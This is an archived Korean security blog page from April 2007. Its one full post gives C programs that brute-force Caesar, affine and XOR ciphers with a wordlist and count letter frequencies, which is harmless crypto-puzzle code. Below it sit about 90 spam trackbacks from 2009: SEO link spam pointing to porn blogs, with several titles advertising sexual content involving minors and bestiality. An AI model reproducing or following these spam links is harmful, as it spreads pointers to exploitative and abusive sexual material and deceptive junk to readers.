Search Results for '2007/04'


15 POSTS

  1. 2007/04/30 고전 암호화 관련 문제 풀이용으로 작성한 코드들.. by Dual
  2. 2007/04/28 Mail Header - 메일 헤더 by Dual
  3. 2007/04/26 응? by Dual
  4. 2007/04/24 과거에 만들고 있던 웹게임 by Dual
  5. 2007/04/23 심심해서 만들어본 Binary2Str by Dual (2)
  6. 2007/04/21 sis.or.kr - 침해사고대응 풀이를 해보자. by Dual
  7. 2007/04/15 Duelist`s Crackme Soultion by Dual
  8. 2007/04/14 hackthissite.org - Application Challenges by Dual
  9. 2007/04/14 유동훈(xpl017Elz)님께서 ProFTPD 1.30 LOF Exploit 공개 by Dual
  10. 2007/04/12 Fish Fish by Dual
  11. 2007/04/11 PADOCON 2007 사진이 올라왔네요~ by Dual
  12. 2007/04/08 Hacker가 됨에 있어서 필요한 능력,노력들.. by Dual (2)
  13. 2007/04/06 자바스크립트 기반 웹 취약점 스캐너 Jikto 소스 코드 유출 by Dual
  14. 2007/04/04 Exploiting the ANI vulnerability on Vista by Dual
  15. 2007/04/01 MD5, SHA-1 암호화 깨지다. by Dual
« Previous : 1 : Next »

고전 암호화 관련 문제 풀이용으로 작성한 코드들..

고전 암호화 방법을 푸는 코드를 작성해 보고 있습니다.
Caesar나 Affin은 비교적 만들기 쉬웠지만,
단문에 대한 Substituiton이나 Vigneere 나 Hill chiper는 아직
공부를 좀 더 해야겠다고 느꼇습니다. ^^;



이건 워드 파일 :


wordlist.txt





Caeasr chiper :

#include "stdafx.h"
#include <windows.h>
#include <conio.h>
#define LIMIT 2
int main(int argc, char* argv[])
{
char tmp1,tmp2;
char alphabet_up[27] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char alphabet_lo[27] = "abcdefghijklmnopqrstuvwxyz";
char text_to_decrypt[] = "MAX YTNEM, WXTK UKNMNL, EBXL GHM BG HNK LMTKL UNM BG HNKLXEOXL.";
char tmp_buf[1024] = {0,};
int freq[26] = {0,};
FILE* file;
char buff2[1400] = {0,};
static char wordlist[225][20];
char seps[] = "\n";
char *token;
int cnt;
int result;


printf(":::::::::::: Caeasr Attack 1.0 ::::::::::::::::\n");
printf(":::::::::::::::::::::::     Coded by Dual ::::::\n");
printf("::::::::::::::::::::::::::::::::::::::::::::::::\n");
if ((file=fopen("wordlist.txt","rb"))==0) {
printf("[-] Unable to access file.\n");
return 0;
}
fread(buff2,sizeof(char),1400,file);
fclose(file);
cnt = 0;
token = strtok(buff2, seps );
  while( token != NULL )
{
     strncpy(wordlist[cnt],token,19);
  cnt++;
     token = strtok( NULL, seps );
}
for(int i = 0; i < 26; i++)
{
tmp1 = alphabet_up[0];
tmp2 = alphabet_lo[0];
for(int j = 0; j < 26; j++)
{
  alphabet_up[j] = alphabet_up[j + 1];
  alphabet_lo[j] = alphabet_lo[j + 1];
}
alphabet_up[25] = tmp1;
alphabet_lo[25] = tmp2;
for(int k = 0; k < strlen(text_to_decrypt); k++)
{
  if(isalpha(text_to_decrypt[k]))
  {
   if(isupper(text_to_decrypt[k]))
    tmp_buf[k] = (alphabet_up[text_to_decrypt[k] - 'A']);
   else
    tmp_buf[k] = (alphabet_lo[text_to_decrypt[k] - 'a']);
  }
  else
   tmp_buf[k] = (text_to_decrypt[k]);
}
cnt = 0;
for(int l = 0; l < 225; l++)
{
  for(int m = 0; m < strlen(tmp_buf); m++)
   if(!strnicmp(tmp_buf+m,wordlist[l],strlen(wordlist[l])-1))
    cnt++;
}
if(cnt >= LIMIT)
{
  printf("---%d point matched---\nresult : \n\n%s\n\n",cnt,tmp_buf);
}
}
return 0;
}


Affin chiper :

#include "stdafx.h"
#include <windows.h>
#include <conio.h>
#define LIMIT 2
#define ABS(a)  a<0 ? 26+a : a
int InverseKey(int key)
{
     int DecryptionKey[12] = {1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25}; 
     for(int i=0;i<12;i++)
           if((key*DecryptionKey[i])%26 == 1)
     return DecryptionKey[i];
}

int main(int argc, char* argv[])
{
int a = 0;
char Buffer[] = "gh sgdqd h vhkk zsszbj sgzs okzbd snmhfgs gz gz gz!!!";
char Decrypt[1024] = {0,};
int tmp;
FILE* file;
char buff2[1400] = {0,};
static char wordlist[225][20];
char seps[] = "\n";
char *token;
int cnt;
int result;


printf(":::::::::::: Affin Attack 1.0 ::::::::::::::::\n");
printf(":::::::::::::::::::::::     Coded by Dual ::::::\n");
printf("::::::::::::::::::::::::::::::::::::::::::::::::\n");
if ((file=fopen("wordlist.txt","rb"))==0) {
printf("[-] Unable to access file.\n");
return 0;
}
fread(buff2,sizeof(char),1400,file);
fclose(file);
cnt = 0;
token = strtok(buff2, seps );
  while( token != NULL )
{
     strncpy(wordlist[cnt],token,19);
  cnt++;
     token = strtok( NULL, seps );
}
 
CharLower(Buffer);
for(int i = 0; a < 25; i++)
{
a = (i*2)+1;
for(int b = 0; b < 26; b++)
{
  for(int j = 0; j < strlen(Buffer); j++)
  {
   if(isalpha(Buffer[j]))
   {
    tmp = ABS((InverseKey(a) * (Buffer[j] - 0x61 - b))%26);
    Decrypt[j] = tmp + 0x61;
   }
   else
    Decrypt[j] = Buffer[j];
  }
  cnt = 0;
  for(int l = 0; l < 225; l++)
  {
   for(int m = 0; m < strlen(Decrypt); m++)
    if(!strnicmp(Decrypt+m,wordlist[l],strlen(wordlist[l])-1))
     cnt++;
  }
  if(cnt >= LIMIT)
  {
   printf("---%d point matched---\nresult : \n\n%s\n\n",cnt,Decrypt);
  }
}
}
return 0;
}


XORing :

#include "stdafx.h"
#include <windows.h>
#include <conio.h>
#define LIMIT 1
#define LEN 19
int main(int argc, char* argv[])
{
int a = 0;
char Buffer[LEN] = {0x60,0x5C,0x55,0x51,0x43,0x55,0x10,0x44,0x55,0x5C,0x5C,0x10,0x5D,0x55,0x10,0x49,0x5F,0x45,0x42};
char Decrypt[1024] = {0,};
int tmp;
FILE* file;
char buff2[1400] = {0,};
static char wordlist[225][20];
char seps[] = "\n";
char *token;
int cnt;
int result;

printf(":::::::::::: XORing Attack 1.0 ::::::::::::::::\n");
printf(":::::::::::::::::::::::     Coded by Dual ::::::\n");
printf("::::::::::::::::::::::::::::::::::::::::::::::::\n");
if ((file=fopen("wordlist.txt","rb"))==0) {
printf("[-] Unable to access file.\n");
return 0;
}
fread(buff2,sizeof(char),1400,file);
fclose(file);
cnt = 0;
token = strtok(buff2, seps );
  while( token != NULL )
{
    strncpy(wordlist[cnt],token,19);
  cnt++;
    token = strtok( NULL, seps );
}
 
for(char i = 0; i < 127; i++)
{
for(int j = 0; j < LEN; j++)
{
 Decrypt[j] = Buffer[j] ^ i;
}
  cnt = 0;
  for(int l = 0; l < 225; l++)
  {
  for(int m = 0; m < strlen(Decrypt); m++)
   if(!strnicmp(Decrypt+m,wordlist[l],strlen(wordlist[l])-1))
    cnt++;
  }
  if(cnt >= LIMIT)
  {
  printf("---%d point matched---\nresult : \n\n%s\n\n",cnt,Decrypt);
  }
}
return 0;
}


frequency :

#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
char buffer[] = "Dear my friends";
int frequency[26] = {0,};
int sum = 0;
float freq = 0;
CharUpper(buffer);
for(int i = 0; i < strlen(buffer); i++)
{
frequency[buffer[i] - 'A']++;
}
for(int j = 0; j < 26; j++)
{
sum += frequency[j];
}
printf("문자 횟수  확률\n");
for(int k = 0; k < 26; k++)
{
printf(" %c    %d    %2.4f%%\n",k+'A',frequency[k],(float)((float)(frequency[k]*100)/(float)sum));
}
return 0;
}

이올린에 북마크하기(0) 이올린에 추천하기(0)

Posted by Dual

2007/04/30 22:53 2007/04/30 22:53
Response
142 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/284

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/284

Trackbacks List

  1. zlqzsxho

    Tracked from zlqzsxho 2009/02/23 08:26 Delete

    zlqzsxho

  2. erotic nude model

    Tracked from erotic nude model 2009/04/08 16:08 Delete

    erotic nude model <a href="http://qudoleq1002008.blogspot.com/">erotic nude model</a>

  3. naked celbrities

    Tracked from naked celbrities 2009/04/10 17:12 Delete

    vida garman <a href="http://cyzisijigagufu9942008.blogspot.com/">vida garman</a>

  4. sissy-hubby-training

    Tracked from sissy-hubby-training 2009/04/10 21:21 Delete

    <a href="http://olsentwinsnude32.forumotion.net/your-first-forum-f1/teen-kirstens-room-t6.htm">teen-kirstens-room</a> teen-kirstens-room <a href="http://teennudes39.forumotion.net/your-first-forum-f1/panthose-porn-t7.htm">panthose-porn</a> panthose...

  5. sexually-arousing-a-woman

    Tracked from sexually-arousing-a-woman 2009/04/10 21:57 Delete

    <a href="http://amateurthumbs61.forumotion.net/your-first-forum-f1/panty-freeks-homepage-t2.htm">panty-freeks-homepage</a> panty-freeks-homepage <a href="http://napsterofporn24.forumotion.net/">teen-surf-bedding</a> teen-surf-bedding

  6. cobweb-lace

    Tracked from cobweb-lace 2009/04/13 00:07 Delete

    <a href="http://www.maclife.com/user/49032/">chantilly-lace-livermore-ca</a> chantilly-lace-livermore-ca <a href="http://www.maclife.com/user/48627/">troubleshooting-riding-lawnmower</a> troubleshooting-riding-lawnmower

  7. ramsey-model-re12000

    Tracked from ramsey-model-re12000 2009/04/13 01:16 Delete

    <a href="http://www.maclife.com/user/48422/">xxx-voque</a> xxx-voque <a href="http://www.maclife.com/user/48904/">curts-vintage-snowmobile</a> curts-vintage-snowmobile

  8. bondage-marsha-lord

    Tracked from bondage-marsha-lord 2009/04/13 01:54 Delete

    <a href="http://www.maclife.com/user/48527/">nightime-itching</a> nightime-itching <a href="http://www.maclife.com/user/49408/">chubby-sumo-gay-porn</a> chubby-sumo-gay-porn

  9. first time anal

    Tracked from first time anal 2009/04/14 15:04 Delete

    angels of porn <a href="http://udocirufinoromi9042008.blogspot.com/">angels of porn</a>

  10. underage-nude-girls

    Tracked from underage-nude-girls 2009/04/14 15:51 Delete

    trish-stratus-nude <a href="http://www.maclife.com/user/51963/">trish-stratus-nude</a> miss-teen-usa <a href="http://www.maclife.com/user/51545/">miss-teen-usa</a>

  11. two-girls-kiss

    Tracked from two-girls-kiss 2009/04/14 16:56 Delete

    hairy-mature-women <a href="http://www.maclife.com/user/51965/">hairy-mature-women</a> free-celebrity-porn <a href="http://www.maclife.com/user/51826/">free-celebrity-porn</a>

  12. julia-stiles-nude

    Tracked from julia-stiles-nude 2009/04/14 18:28 Delete

    gay-cum-shots <a href="http://www.maclife.com/user/51492/">gay-cum-shots</a> female-fantasy-art-adult <a href="http://www.maclife.com/user/52191/">female-fantasy-art-adult</a>

  13. free-long-porn-movies

    Tracked from free-long-porn-movies 2009/04/14 19:06 Delete

    gay-teen-in-underwear <a href="http://www.maclife.com/user/51808/">gay-teen-in-underwear</a> first-time-anal <a href="http://www.maclife.com/user/51724/">first-time-anal</a>

  14. Free Porn 365

    Tracked from Free Porn 365 2009/04/16 23:56 Delete

    Sex Offender List <a href="http://kalozu9852008.blogspot.com/">Sex Offender List</a>

  15. Teen-Sex-Movies

    Tracked from Teen-Sex-Movies 2009/04/17 01:01 Delete

    Adult-Dating-Servic <a href="http://www.videocodezone.com/users/Adult-Dating-Servic/">Adult-Dating-Servic</a> Holly-Hunter-Nude <a href="http://www.videocodezone.com/users/Holly-Hunter-Nude/">Holly-Hunter-Nude</a>

  16. Natalie-Portman-Nud

    Tracked from Natalie-Portman-Nud 2009/04/17 01:39 Delete

    Older-Mature-Women <a href="http://www.videocodezone.com/users/Older-Mature-Women/">Older-Mature-Women</a> Amateur-Wife-Video <a href="http://www.videocodezone.com/users/Amateur-Wife-Video/">Amateur-Wife-Video</a>

  17. High-Def-Porn

    Tracked from High-Def-Porn 2009/04/17 02:20 Delete

    Free-Erotic-Sex-Sto <a href="http://www.videocodezone.com/users/Free-Erotic-Sex-Sto/">Free-Erotic-Sex-Sto</a> Hairy-Gay-Men <a href="http://www.videocodezone.com/users/Hairy-Gay-Men/">Hairy-Gay-Men</a>

  18. Ashley-Massaro-Nude

    Tracked from Ashley-Massaro-Nude 2009/04/17 03:50 Delete

    Girls-Having-Sex <a href="http://www.videocodezone.com/users/Girls-Having-Sex/">Girls-Having-Sex</a> Free-Xxx-Video-Down <a href="http://www.videocodezone.com/users/Free-Xxx-Video-Down/">Free-Xxx-Video-Down</a>

  19. 9inch cock pictures

    Tracked from 9inch cock pictures 2009/04/20 22:12 Delete

    hilary duffs boobs <a href="http://asexusauat3832008.blogspot.com/">hilary duffs boobs</a>

  20. naruto shinp

    Tracked from naruto shinp 2009/04/22 21:48 Delete

    leesburg implant dentist <a href="http://ouawugikubuke7402008.blogspot.com/">leesburg implant dentist</a>

  21. myfriendshotmom-bobbys-mom

    Tracked from myfriendshotmom-bobbys-mom 2009/04/22 22:16 Delete

    armpit-fungus <a href="http://www.maclife.com/user/62239/">armpit-fungus</a> ann-jessop-tas <a href="http://www.maclife.com/user/63201/">ann-jessop-tas</a>

  22. fob-fucker-hosted

    Tracked from fob-fucker-hosted 2009/04/22 22:36 Delete

    rubber-cord-permabond <a href="http://www.maclife.com/user/63399/">rubber-cord-permabond</a> hilery-duff-topless <a href="http://www.maclife.com/user/62501/">hilery-duff-topless</a>

  23. jenna-fischer-nude-fake

    Tracked from jenna-fischer-nude-fake 2009/04/22 22:57 Delete

    xenia-seeberg-nude <a href="http://www.maclife.com/user/62354/">xenia-seeberg-nude</a> erika-eleniak-nude-gallery <a href="http://www.maclife.com/user/62401/">erika-eleniak-nude-gallery</a>

  24. ajax-pickering-midget-aaa

    Tracked from ajax-pickering-midget-aaa 2009/04/22 23:23 Delete

    ceca-porno-video <a href="http://www.maclife.com/user/62523/">ceca-porno-video</a> darering-blowjob <a href="http://www.maclife.com/user/63195/">darering-blowjob</a>

  25. kelly-pickler-boobs

    Tracked from kelly-pickler-boobs 2009/04/23 00:05 Delete

    severe-female-spanking <a href="http://www.maclife.com/user/62632/">severe-female-spanking</a> naughty-nynphos <a href="http://www.maclife.com/user/62298/">naughty-nynphos</a>

  26. will chlorine kill sperm

    Tracked from will chlorine kill sperm 2009/04/23 00:30 Delete

    36ddd bras <a href="http://yjauaf8012008.blogspot.com/">36ddd bras</a>

  27. tyra-banks-nude

    Tracked from tyra-banks-nude 2009/04/23 01:32 Delete

    juicy-porn-clips <a href="http://www.world66.com/member/juicy_porn_clips_6">juicy-porn-clips</a> girls-using-dildos <a href="http://www.world66.com/member/girls_using_dildos">girls-using-dildos</a>

  28. hacked-porn-passwords

    Tracked from hacked-porn-passwords 2009/04/23 01:47 Delete

    gay-nude-men <a href="http://www.world66.com/member/gay_nude_men_1">gay-nude-men</a> gilmore-girls-spoilers <a href="http://www.world66.com/member/gilmore_girls_spoi">gilmore-girls-spoilers</a>

  29. chloroformed-girls-in-videos

    Tracked from chloroformed-girls-in-videos 2009/04/23 02:15 Delete

    teen-bedding-sets <a href="http://www.world66.com/member/teen_bedding_sets">teen-bedding-sets</a> kat-von-d-nude <a href="http://www.world66.com/member/kat_von_d_nude_29">kat-von-d-nude</a>

  30. free-nude-thumbnails

    Tracked from free-nude-thumbnails 2009/04/23 02:34 Delete

    nn-teen-models <a href="http://www.world66.com/member/nn_teen_models_12">nn-teen-models</a> free-adult-porn-pics <a href="http://www.world66.com/member/free_adult_porn_pi">free-adult-porn-pics</a>

  31. farm-girls-love

    Tracked from farm-girls-love 2009/04/23 03:04 Delete

    classic-porn-stars <a href="http://www.world66.com/member/classic_porn_stars">classic-porn-stars</a> gay-teen-in-underwear <a href="http://www.world66.com/member/gay_teen_in_underw">gay-teen-in-underwear</a>

  32. teen mania ministries

    Tracked from teen mania ministries 2009/04/23 15:52 Delete

    claudia albertario nude <a href="http://febytoli1382008.blogspot.com/">claudia albertario nude</a>

  33. teen-girl-models

    Tracked from teen-girl-models 2009/04/23 16:28 Delete

    heidi-cortez-nude <a href="http://www.world66.com/member/heidi_cortez_nude">heidi-cortez-nude</a> teen-sleepover-ideas <a href="http://www.world66.com/member/teen_sleepover_ide">teen-sleepover-ideas</a>

  34. donna-griffin-jcps

    Tracked from donna-griffin-jcps 2009/04/23 16:48 Delete

    vintage-sears-tractor-pics <a href="http://www.world66.com/member/vintage_sears_trac">vintage-sears-tractor-pics</a> dick-wadd <a href="http://www.world66.com/member/dick_wadd_45">dick-wadd</a>

  35. baltimore-ravens-purple-panty

    Tracked from baltimore-ravens-purple-panty 2009/04/23 17:18 Delete

    nude-teen-pics <a href="http://www.world66.com/member/nude_teen_pics_89">nude-teen-pics</a> white-enema-bag <a href="http://www.world66.com/member/white_enema_bag_87">white-enema-bag</a>

  36. teen-porn-free

    Tracked from teen-porn-free 2009/04/23 17:42 Delete

    vintage-oui-magazine <a href="http://www.world66.com/member/vintage_oui_magazi">vintage-oui-magazine</a> teen-karma-galleries <a href="http://www.world66.com/member/teen_karma_galleri">teen-karma-galleries</a>

  37. free-nude-celbs

    Tracked from free-nude-celbs 2009/04/23 18:23 Delete

    tula-cossey-nude <a href="http://www.world66.com/member/tula_cossey_nude_2">tula-cossey-nude</a> elsex-shemales <a href="http://www.world66.com/member/elsex_shemales_96">elsex-shemales</a>

  38. sore throat formaldehyde

    Tracked from sore throat formaldehyde 2009/04/23 19:16 Delete

    judy landers nude <a href="http://kukevitamunywu6422008.blogspot.com/">judy landers nude</a>

  39. mother-daughter-porn

    Tracked from mother-daughter-porn 2009/04/23 19:40 Delete

    frot-porn <a href="http://www.maclife.com/user/64585/">frot-porn</a> adult-porn-games <a href="http://www.maclife.com/user/64602/">adult-porn-games</a>

  40. yvonne-strzechowski-nude

    Tracked from yvonne-strzechowski-nude 2009/04/23 20:12 Delete

    sexy-nightgowns <a href="http://www.maclife.com/user/64312/">sexy-nightgowns</a> clearlake-escorts <a href="http://www.maclife.com/user/64402/">clearlake-escorts</a>

  41. adult-sex-games

    Tracked from adult-sex-games 2009/04/23 20:37 Delete

    oops-markie-post <a href="http://www.maclife.com/user/64620/">oops-markie-post</a> gay-skindex <a href="http://www.maclife.com/user/65179/">gay-skindex</a>

  42. small-sexy-rears

    Tracked from small-sexy-rears 2009/04/23 21:00 Delete

    courtney-thorne-smith-nipples <a href="http://www.maclife.com/user/64237/">courtney-thorne-smith-nipples</a> shaving-bikini-area <a href="http://www.maclife.com/user/65428/">shaving-bikini-area</a>

  43. zeps-guide-to-bbs

    Tracked from zeps-guide-to-bbs 2009/04/23 21:18 Delete

    bleach-switching-bodies <a href="http://www.maclife.com/user/65373/">bleach-switching-bodies</a> aneli-nude <a href="http://www.maclife.com/user/65093/">aneli-nude</a>

  44. free adult hentai games

    Tracked from free adult hentai games 2009/04/27 17:30 Delete

    vanessa hudgens nude photos <a href="%url">vanessa hudgens nude photos</a>

  45. free adult porn movies

    Tracked from free adult porn movies 2009/04/27 17:54 Delete

    german teen models <a href="%url">german teen models</a>

  46. free adult sex videos

    Tracked from free adult sex videos 2009/04/27 18:15 Delete

    porn websites <a href="%url">porn websites</a>

  47. 100 free kathy bates nude pictures

    Tracked from 100 free kathy bates nude pictures 2009/04/27 20:46 Delete

    gay uniforms <a href="http://osycecohuwyme2772008.blogspot.com/">gay uniforms</a>

  48. 123 bbw personals articles

    Tracked from 123 bbw personals articles 2009/04/27 21:49 Delete

    shemales and girls <a href="http://ynesemydyvisok4822008.blogspot.com/">shemales and girls</a>

  49. 13 19 teen flirt

    Tracked from 13 19 teen flirt 2009/04/27 23:42 Delete

    animale sex <a href="http://auapeuyla4152008.blogspot.com/">animale sex</a>

  50. 18 perv yeen xxx

    Tracked from 18 perv yeen xxx 2009/04/28 00:13 Delete

    kimora lee simmons nude <a href="http://odezeladezagy6532008.blogspot.com/">kimora lee simmons nude</a>

  51. 2 girls 1 finger video

    Tracked from 2 girls 1 finger video 2009/04/28 00:59 Delete

    iowa sex offenders list <a href="http://edebep5252008.blogspot.com/">iowa sex offenders list</a>

  52. 4 girls fingerpainting

    Tracked from 4 girls fingerpainting 2009/04/28 01:24 Delete

    teen black and pink bedding <a href="http://usej5042008.blogspot.com/">teen black and pink bedding</a>

  53. 3 wheel adult bicycle schwinn

    Tracked from 3 wheel adult bicycle schwinn 2009/04/28 01:50 Delete

    phone sex small penis humiliation <a href="http://qyzexomudumuvuj3762008.blogspot.com/">phone sex small penis humiliation</a>

  54. 321 gay teen chat

    Tracked from 321 gay teen chat 2009/04/28 02:14 Delete

    lea walker sex tape <a href="http://dunomeuami3132008.blogspot.com/">lea walker sex tape</a>

  55. 3d girls

    Tracked from 3d girls 2009/04/28 03:10 Delete

    videos of girls masterbating <a href="http://yqisul1782008.blogspot.com/">videos of girls masterbating</a>

  56. free-virgin-porn

    Tracked from free-virgin-porn 2009/04/28 13:37 Delete

    the-celeb-archive-homocaine <a href="http://www.world66.com/member/ixepu420479">the-celeb-archive-homocaine</a> alexandre-boisvert-sex-videos <a href="http://www.world66.com/member/ibepuke113567">alexandre-boisvert-sex-videos</a>

  57. keira-knightley-nude

    Tracked from keira-knightley-nude 2009/04/28 14:03 Delete

    free-sex-stories-literotica <a href="http://www.world66.com/member/nyuaqu57235">free-sex-stories-literotica</a> sex-doll-torso <a href="http://www.world66.com/member/qilinafi705779">sex-doll-torso</a>

  58. konnie-huq-nude-fake

    Tracked from konnie-huq-nude-fake 2009/04/28 14:19 Delete

    masiela-lusha-nude <a href="http://www.world66.com/member/vyrupuk638417">masiela-lusha-nude</a> playboy-centrefolds <a href="http://www.world66.com/member/qyvep608987">playboy-centrefolds</a>

  59. tantra-yoni-massage

    Tracked from tantra-yoni-massage 2009/04/28 14:43 Delete

    rubber-misting-nozzles <a href="http://www.world66.com/member/pyvaue429061">rubber-misting-nozzles</a> rosamund-pike-naked <a href="http://www.world66.com/member/gexobuwo771698">rosamund-pike-naked</a>

  60. youngvideomodels-bbs

    Tracked from youngvideomodels-bbs 2009/04/28 15:08 Delete

    babby-got-boobs <a href="http://www.world66.com/member/vekutaz436142">babby-got-boobs</a> muskegon-implant-dentist <a href="http://www.world66.com/member/mihymog99825">muskegon-implant-dentist</a>

  61. jennas american sex star

    Tracked from jennas american sex star 2009/04/28 15:31 Delete

    gallview upskirts <a href="http://bipyqojadi8262009.blogspot.com/">gallview upskirts</a>

  62. sheer-tights-for-men

    Tracked from sheer-tights-for-men 2009/04/28 15:53 Delete

    kuma-sutra-positions <a href="http://www.maclife.com/user/68975/">kuma-sutra-positions</a> penis-jewerly <a href="http://www.maclife.com/user/67485/">penis-jewerly</a>

  63. Video Hardcore Dvdversand Porno7

    Tracked from Video Hardcore Dvdversand Porno7 2009/04/28 16:21 Delete

    adult-steakandcheese <a href="http://www.maclife.com/user/68829/">adult-steakandcheese</a> marge-sucking-homer <a href="http://www.maclife.com/user/66881/">marge-sucking-homer</a>

  64. spokane-david-naylor

    Tracked from spokane-david-naylor 2009/04/28 16:41 Delete

    menstration-pics <a href="http://www.maclife.com/user/68448/">menstration-pics</a> pornresource-naughty-america <a href="http://www.maclife.com/user/69894/">pornresource-naughty-america</a>

  65. Teenage Chatrooms Queensland8

    Tracked from Teenage Chatrooms Queensland8 2009/04/28 17:04 Delete

    Naughty Neshelle Pics80 <a href="http://www.maclife.com/user/71636/">Naughty Neshelle Pics80</a> large-titted-chubby-women <a href="http://www.maclife.com/user/69194/">large-titted-chubby-women</a>

  66. world-of-porncraft-nude

    Tracked from world-of-porncraft-nude 2009/04/28 18:45 Delete

    Ryan Seacrest Shirtless31 <a href="http://www.maclife.com/user/71201/">Ryan Seacrest Shirtless31</a> yara-fucking <a href="http://www.maclife.com/user/67555/">yara-fucking</a>

  67. Wife Caught Sissy Hubby95

    Tracked from Wife Caught Sissy Hubby95 2009/04/28 22:33 Delete

    Nipple Tassels54 <a href="http://lowyzitug4002009.blogspot.com/">Nipple Tassels54</a>

  68. Erin Kelley Nude40

    Tracked from Erin Kelley Nude40 2009/04/28 23:02 Delete

    Jericho Rosales Hunk Gallery91 <a href="http://www.maclife.com/user/73436/">Jericho Rosales Hunk Gallery91</a> Amy White Glamour Model1 <a href="http://www.maclife.com/user/73437/">Amy White Glamour Model1</a>

  69. Sex In Moultrie Ga38

    Tracked from Sex In Moultrie Ga38 2009/04/28 23:34 Delete

    Intimate Marrage Sex82 <a href="http://www.maclife.com/user/73446/">Intimate Marrage Sex82</a> Jessica Leigh Playboy33 <a href="http://www.maclife.com/user/73447/">Jessica Leigh Playboy33</a>

  70. Sexy Balloon Babes72

    Tracked from Sexy Balloon Babes72 2009/04/29 00:32 Delete

    Vintage Rolex Submariner87 <a href="http://www.maclife.com/user/74084/">Vintage Rolex Submariner87</a> Cum On The Babysetter29 <a href="http://www.maclife.com/user/74085/">Cum On The Babysetter29</a>

  71. Teeny Bbs Tgp67

    Tracked from Teeny Bbs Tgp67 2009/04/29 01:38 Delete

    Singer Model 1591 Canada26 <a href="http://www.maclife.com/user/74234/">Singer Model 1591 Canada26</a> Desparado Sex Svene19 <a href="http://www.maclife.com/user/74236/">Desparado Sex Svene19</a>

  72. Descrete Sex73

    Tracked from Descrete Sex73 2009/04/29 02:03 Delete

    Enima Porn38 <a href="http://www.maclife.com/user/74475/">Enima Porn38</a> Amanda Tapping Naked Stargate14 <a href="http://www.maclife.com/user/74479/">Amanda Tapping Naked Stargate14</a>

  73. wybyhugarev

    Tracked from wybyhugarev 2009/05/04 02:16 Delete

    wybyhugarev <a href="http://ozoripyueren9682009.blogspot.com/">wybyhugarev</a>

  74. rectal-thermometer-girl

    Tracked from rectal-thermometer-girl 2009/05/04 03:32 Delete

    amiture-allure <a href="http://www.world66.com/member/iqery6995">amiture-allure</a> blinds-peeping-tom <a href="http://www.world66.com/member/avapes6145">blinds-peeping-tom</a>

  75. swordfish-halle-berry-nude

    Tracked from swordfish-halle-berry-nude 2009/05/04 03:51 Delete

    pleasure-palace-hermantown <a href="http://www.world66.com/member/zihewuz7146">pleasure-palace-hermantown</a> lace-font-hair-weave <a href="http://www.world66.com/member/yjenij5301">lace-font-hair-weave</a>

  76. bdsm-asphixia

    Tracked from bdsm-asphixia 2009/05/04 04:38 Delete

    shizune-nude <a href="http://www.world66.com/member/ewimu4506">shizune-nude</a> latin-alphabet-banner <a href="http://www.world66.com/member/toruuy6604">latin-alphabet-banner</a>

  77. waterbed-vibrator

    Tracked from waterbed-vibrator 2009/05/04 04:55 Delete

    pants-screensaver-spongebob-square <a href="http://www.world66.com/member/hybuuo2668">pants-screensaver-spongebob-square</a> sexy-girls-personnel-ethiopian <a href="http://www.world66.com/member/ikewy8112">sexy-girls-personnel-ethiopian</a>

  78. landon-hall-nude

    Tracked from landon-hall-nude 2009/05/04 05:30 Delete

    jemeni-porn <a href="http://www.world66.com/member/roqaf7986">jemeni-porn</a> suntan-pantyhose-tgp <a href="http://www.world66.com/member/okusy9363">suntan-pantyhose-tgp</a>

  79. teen girls naked

    Tracked from teen girls naked 2009/05/05 14:59 Delete

    free japanese porn <a href="http://iqepozedufijepy9032009.blogspot.com/">free japanese porn</a>

  80. gay nude men

    Tracked from gay nude men 2009/05/05 16:00 Delete

    female model young teens <a href="http://nogovagimeuolor3312009.blogspot.com/">female model young teens</a>

  81. sex with my dog

    Tracked from sex with my dog 2009/05/05 16:02 Delete

    free hd porn <a href="http://qehyhubyxihop3582009.blogspot.com/">free hd porn</a>

  82. women-in-bikinis

    Tracked from women-in-bikinis 2009/05/05 16:29 Delete

    porn-star-escorts <a href="http://linaromaynude45.forumotion.net/your-first-forum-f1/porn-star-escorts-t7.htm">porn-star-escorts</a> forced-sex-videos <a href="http://escortreveiws33.forumotion.net/your-first-forum-f1/forced-sex-videos-t7.htm">forced-s...

  83. free-porn-trailer

    Tracked from free-porn-trailer 2009/05/05 17:00 Delete

    high-def-porn <a href="http://majoretteuniforms23.forumotion.net/your-first-forum-f1/high-def-porn-t10.htm">high-def-porn</a> free-simpsons-porn <a href="http://angelsbrothelinnevada91.forumotion.net/">free-simpsons-porn</a>

  84. teen-cyber-chat

    Tracked from teen-cyber-chat 2009/05/05 17:56 Delete

    free-teen-sex-video <a href="http://xnxxvideo38.forumotion.net/your-first-forum-f1/free-teen-sex-video-t26.htm">free-teen-sex-video</a> vida-guerra-nude <a href="http://spartonvintageradio84.forumotion.net/">vida-guerra-nude</a>

  85. hardcore-fuck-videos

    Tracked from hardcore-fuck-videos 2009/05/05 17:58 Delete

    nude-college-girls <a href="http://adultfrendfinder85.forumotion.net/your-first-forum-f1/nude-college-girls-t20.htm">nude-college-girls</a> dog-sex-movies <a href="http://lauraregannude16.forumotion.net/your-first-forum-f1/dog-sex-movies-t20.htm">dog-s...

  86. free-nude-picture-galleries

    Tracked from free-nude-picture-galleries 2009/05/05 18:24 Delete

    asian-bar-girls <a href="http://touchablelingerie57.forumotion.net/your-first-forum-f1/asian-bar-girls-t34.htm">asian-bar-girls</a> free-illustrated-sex-position <a href="http://adultpoopydiapers83.forumotion.net/your-first-forum-f1/free-illustrated-se...

  87. nude male wrestling

    Tracked from nude male wrestling 2009/05/05 18:58 Delete

    reality porn sites <a href="http://xisyw2692009.blogspot.com/">reality porn sites</a>

  88. carrie underwood nude

    Tracked from carrie underwood nude 2009/05/05 19:48 Delete

    free forced sex stories <a href="http://ojaw9212009.blogspot.com/">free forced sex stories</a>

  89. young-teen-model

    Tracked from young-teen-model 2009/05/05 20:23 Delete

    teen-sex-stories <a href="http://www.world66.com/member/uvobou2656">teen-sex-stories</a> watch-free-porn <a href="http://www.world66.com/member/idekil9942">watch-free-porn</a>

  90. fine-art-nude-photography

    Tracked from fine-art-nude-photography 2009/05/05 22:15 Delete

    big-gay-cock <a href="http://www.world66.com/member/cujyn3554">big-gay-cock</a> celebrity-nudes-free-gallery <a href="http://www.world66.com/member/jaguwaco2628">celebrity-nudes-free-gallery</a>

  91. free hardcore sex movies

